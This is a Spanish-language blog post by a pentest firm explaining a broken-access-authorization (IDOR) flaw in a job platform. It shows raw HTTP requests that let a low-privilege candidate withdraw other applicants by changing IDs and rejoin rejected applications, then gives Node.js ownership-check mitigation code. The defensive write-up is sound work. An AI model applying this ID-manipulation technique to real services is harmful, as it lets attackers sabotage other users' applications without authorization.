Blog
dark mode light mode Search Archivos descargables
Search

¿Cómo los criminales aprovechan debilidades en tu sistema de usuarios y roles?

Como-criminales-aprovechan-debilidades-en-tu-sistema-de-usuarios-role

La gestión de usuarios y roles se ha convertido en un pilar fundamental para proteger los sistemas de información y los datos sensibles, sin embargo, incluso con las mejores prácticas de seguridad, los hackers encuentran formas de explotar las debilidades en estos sistemas. Este artículo se centra en cómo los criminales aprovechan las vulnerabilidades en la gestión de usuarios y roles para provocar un impacto al modelo de negocio de una organización relacionada al reclutamiento con un enfoque particular en las vulnerabilidades de autorización de acceso.

Debilidades Comunes

  • Configuraciones Incorrectas de Roles y Permisos: Uno de los errores más comunes, es la configuración incorrecta de roles y permisos. Esto ocurre cuando a los usuarios se les asignan más permisos de los necesarios, lo que abre puertas para que los hackers exploten estas configuraciones.
  • Falta de Control de Acceso Adecuado: La falta de control de acceso adecuado puede permitir que los usuarios normales realicen acciones que solo deberían estar permitidas para los administradores. Esto es especialmente problemático en sistemas donde los roles no están claramente definidos o segregados.
  • Vulnerabilidades de Autorización de Acceso: Una de las vulnerabilidades más críticas, es la ausencia de un mecanismo de validación previa, donde los hackers pueden aprovechar fallos en el sistema para obtener permisos indebidos. Este tipo de vulnerabilidad puede permitir a un hacker acceder a información sensible o realizar acciones en nombre de otro usuario.

Ejemplo de vulnerabilidad: Broken access authorization

Para ilustrar cómo una vulnerabilidad del tipo Broken Access Authorization puede ser explotada, consideremos el siguiente escenario en una plataforma de empleo:

Durante las pruebas realizadas, contábamos con cuenta de bajos privilegios con la cual podía usar una funcionalidad relacionada a las postulaciones activas como candidato. Durante este proceso, se identificó una solicitud que reveló información crucial como el identificador de la postulación. Utilizando la opción abandonar la solicitud, cualquier usuario podía identificar la postulación específica de la cual deseaba salir. Al modificar el parámetro de esta solicitud a otro identificador, un usuario mal intencionado podía efectivamente retirar a cualquier usuario asociado con ese identificador de su postulación. 

Además, también era posible que cualquier usuario, agregara un usuario a una vacante de la que había sido rechazado previamente por un reclutador. Para explotar esta debilidad, una persona iniciaba sesión en la plataforma y dirigiéndose a una postulación inactiva, se podía observar el identificador de la postulación. Este identificador podía ser utilizado en una API administrativa (accesible para un usuario con bajos privilegios), permitiendo a un usuario reincorporarse a la postulación.

En consecuencia, lo anteriormente mencionado permitía lo siguiente:
  • Iterar sobre los identificadores de las postulaciones para remover a la “competencia” o usuarios que estaban en un proceso de reclutamiento, otorgando al hacker una mayor ventaja frente a los demás postulantes.
  • Un usuario mal intencionado podía volver a activar su postulación previamente rechazada por el reclutador.

Explotación de debilidades

Al momento de realizar el pentest, la empresa contaba con dos páginas: una relacionada a los candidatos y otra relacionada a los reclutadores.

A continuación, se procede a explicar los pasos que se siguieron para identificar ambas falencias previamente mencionadas.

Remover a usuarios de sus postulaciones

Paso 1. Iniciamos sesión en el portal de candidatos.

Paso 2. Ingresamos a las postulaciones que habíamos aplicado.

Abandono de proceso
Abandono de proceso

Paso 3. Usamos una opción relacionada al abandono de la postulación e identificamos una solicitud similar a la siguiente:

PUT /api/v1/process/leave HTTP/2  
Host: api.app-vulnerable.com  
Content-Length: 26
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"  
Accept-Language: es-AR 
Authorization: Bearer [REDACTED]  
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br


{"applicationId":24542904}
HTTP/2 200 OK
Date: Tue, 26 Dec 2023 14:59:20 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 4  
X-Powered-By: [REDACTED]  
Access-Control-Allow-Origin: *    
Set-Cookie: path=/; expires=Thu, 26 Dec 2024 14:59:20 GMT  
Message-Id: [REDACTED]  
Etag: W/"4-X/[REDACTED]"


true

En la respuesta, podemos observar el valor “true”, lo cual indicó una ejecución correcta. A través de la solicitud previamente expuesta, se podía iterar por cada valor, generando así un abandono masivo sin autorización en las postulaciones de los candidatos dentro de la plataforma.

Incluir usuarios a postulaciones rechazadas por el reclutador

En este caso, contábamos con el acceso a una cuenta como reclutador.

Paso 1. Se inició sesión en la plataforma como reclutador y nos dirigimos a las postulaciones.

Postulaciones observadas desde el usuario reclutador
Postulaciones observadas desde el usuario reclutador

Paso 2. Por otro lado, se inició sesión como un candidato en el portal de empleo para dirigirnos a las postulaciones inactivas.

Paso 3. Seleccionamos uno de los procesos inactivos.

Postulaciones inactivas
Postulaciones inactivas

Durante esta última acción, podemos identificar la siguiente solicitud:

GET /api/v1/messages?Id=24543040 HTTP/2  
Host: api.app-vulnerable.com  
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"  
Accept-Language: es-AR  
Sec-Ch-Ua-Mobile: ?0  
Authorization: Bearer [REDACTED] 
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br  
Priority: u=1, i
HTTP/2 200 OK  
Date: Mon, 01 Jan 2024 21:42:17 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 213582  
Access-Control-Allow-Origin: *
Set-Cookie: path=/; expires=Wed, 01 Jan 2025 21:42:17 GMT  
Message-Id: e10[REDACTED]452e23  
Etag: W/"3[REDACTED]"


[{"id":11987904,"status":0,"modelId":31195239,"message":"[REDACTED]"},[REDACTED],{"id":11987937,"status":0,"modelId":31195246,"message":"[REDACTED]","createdAt":"2023-12-26T19:29:05.928Z"},{"id":11987938,"status":0,"modelId":31195246,"message":"[REDACTED]","createdAt":"2023-12-26T19:29:06.262Z"},{"id":11987939,"status":0,"modelId":31195247,"message":"[REDACTED]"}]

En la anterior respuesta, obtenemos como identificadores los procesos inactivos.

Interactuando con la plataforma de reclutamiento, se identificó la siguiente solicitud, la cual usa los identificadores de los procesos para reincorporar a un candidato; por lo cual, la usamos para reincorporarnos a la misma vacante de la cual fuimos rechazados previamente. 

Esta solicitud se puede usar con el JWT del usuario candidato.

PUT /api/v1/reincorporate/31195247 HTTP/2  
Host: api.app-vulnerable.com  
Content-Length: 31  
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"  
Accept-Language: en-US  
Sec-Ch-Ua-Mobile: ?0  
Authorization: Bearer [REDACTED]  
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br


{"applicationId":31195247}
HTTP/2 200 OK
Date: Mon, 01 Jan 2024 21:48:56 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 4
Access-Control-Allow-Origin: *  
Content-Language: en-US  
Set-Cookie: path=/; expires=Wed, 01 Jan 2025 21:48:53 GMT  
Message-Id: aab[REDACTED]ed9  
Etag: W/"4-X/[REDACTED]"


true

Impacto de las vulnerabilidades de autorización de acceso

Estas vulnerabilidades pueden tener un impacto significativo, permitiendo a los hackers realizar acciones no autorizadas, acceder a datos sensibles y comprometer la integridad del sistema. En el ejemplo anterior, un hacker podía manipular postulaciones de empleo, lo que no solo afecta a los usuarios individuales, sino que también compromete la credibilidad y la seguridad de la plataforma de empleo.

Mitigación de debilidades

Durante la explotación de la vulnerabilidad, no se hacía una validación correcta de los permisos del usuario. En este caso se incorpora una validación que realiza para identificar que el candidato sea realmente el propietario de esa aplicación.

const jwt = require('jsonwebtoken');
const { getUserById, getApplicationById, updateApplicationStatus } = require('./database');


async function reincorporateCandidate(req, res) {
    const { applicationId } = req.params;
    const token = req.headers.authorization.split(' ')[1];


    try {
        // Verificar el token JWT
        const decodedToken = jwt.verify(token, process.env.JWT_SECRET);
        const userId = decodedToken.userId;


        // Obtener la aplicación y verificar el usuario
        const application = await getApplicationById(applicationId);
        if (!application) {
            return res.status(404).json({ error: 'Application not found' });
        }


        if (application.userId !== userId) {
            return res.status(403).json({ error: 'Unauthorized' });
        }


        // Reincorporar al candidato
        await updateApplicationStatus(applicationId, 'reincorporated');
        res.json({ success: true });
    } catch (error) {
        res.status(401).json({ error: 'Invalid token or authorization' });
    }
}

Conclusión

La gestión de usuarios y roles es una pieza clave en la seguridad de cualquier sistema. Las debilidades en este aspecto pueden ser explotadas por hackers para comprometer sistemas, acceder a datos sensibles y realizar acciones no autorizadas. Es esencial implementar una gestión robusta de usuarios y roles, con configuraciones adecuadas de permisos, políticas de contraseñas fuertes y controles de acceso estrictos.

La seguridad no es estática. Las organizaciones deben mantener una vigilancia constante y actualizar regularmente sus medidas de protección para hacer frente a las amenazas emergentes. En este contexto, la implementación de controles de seguridad rigurosos es clave para garantizar la integridad de tu plataforma. Dos enfoques altamente efectivos para lograrlo son el pentesting o Hacking ético y la adopción de estándares internacionales como ISO 27001.

El pentesting identifica proactivamente las fallas en tu sistema simulando ataques reales, lo que permite corregirlas antes de que sean explotadas. La ISO 27001, por su parte, es un estándar internacional que te ayuda a establecer políticas y controles para gestionar la seguridad de la información, reduciendo los riesgos de acceso no autorizado.

En Hackmetrix, te ayudamos a fortalecer tu plataforma con estas soluciones, protegiendo tus datos, manteniendo la confianza de tus usuarios y clientes.

Otras vulnerabilidades que te gustaría conocer y prevenir:

Solicitar demo hackmetrix

Escrito por: Juan David Fernández 

Appsec Engineer en Hackmetrix